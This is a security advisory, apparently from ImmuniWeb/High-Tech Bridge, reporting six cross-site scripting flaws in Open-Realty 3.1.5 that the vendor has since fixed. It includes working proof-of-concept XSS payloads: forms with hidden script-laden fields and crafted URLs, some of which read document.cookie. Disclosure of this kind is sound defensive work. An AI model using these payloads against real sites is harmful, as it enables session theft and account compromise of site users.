In light of COVID-19 precaution measures, we remind that all ImmuniWeb products can be easily configured and safely paid online without any human contact or paperwork.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime


Your data will stay confidential Private and Confidential

Cross-site Scripting Vulnerabilities in Open-Realty

Advisory ID:HTB23023
Product:Open-Realty
Vendor:Transparent Technologies, Inc.
Vulnerable Versions:3.1.5 and probably prior
Tested Version:3.1.5
Advisory Publication:June 7, 2011 [without technical details]
Vendor Notification:June 7, 2011
Public Disclosure:June 28, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Open-Realty, which can be exploited to perform cross-site scripting attacks.

1) Cross-site scripting vulnerabilities in Open-Realty
1.1 Input passed via the "name", "email", "friend_email", "subject", "message" POST parameters to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/index.php?action=contact_friend&popup=yes&listing_id=1 " method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="friend_email" value='"><script>alert(3);</script>'>
<input type="hidden" name="subject" value='"><script>alert(4);</script>'>
<input type="hidden" name="message" value='</textarea><script>alert(5);</script>'>
<input type="hidden" name="submit" value='send'>
<input name="send" value="EXPLOIT" type="submit">
</form>

1.2 Input passed via the "searchtext" GET parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?searchtext=%22%3E%3Cscript%3Ealert%28document.cookie %29;%3C/script%3E
1.3 Input passed via the "listing_id" GET parameter and "comments", "source" POST parameters to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/index.php?action=contact_agent&listing_id=1<script>ale rt(1);</script> " method="post">
<input type="hidden" name="comments" value='<script>alert(2);</script>'>
<input type="hidden" name="formaction" value='create_new_lead'>
<input type="hidden" name="listingID" value='1'>
<input type="hidden" name="source" value='<script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>

1.4 Input passed via the "path" GET parameter to /include/class/ckeditor/custom/filemanager/connectors/php/filemanager.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/include/class/ckeditor/custom/filemanager/connectors/php/filem anager.php?mode=getfolder&path=%3Cimg%20src=%221%22%20onerror=javascript:ale rt%28document.cookie%29;%3E
1.5 Input passed via the "type" GET parameter to /admin/index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/admin/index.php?action=edit_user_template&type=1%3Cscript%3Eal ert%28document.cookie%29;%3C/script%3E
1.6 Input passed via the "query" POST parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/index.php?action=save_search&printer_friendly= " method="post">
<input type="hidden" name="notify" value='no'>
<input type="hidden" name="title" value=''>
<input type="hidden" name="query" value='"><script>alert(document.cookie);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23023 - https://www.immuniweb.com/advisory/HTB23023 - Cross-site Scripting Vulnerabilities in Open-Realty
[2] Open-Realty - open-realty.org - Open-Realty is the world's leading free real estate listing marketing and management CMS application, and has enjoyed being the real estate web site software of choice for professional web site developers since 2002.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question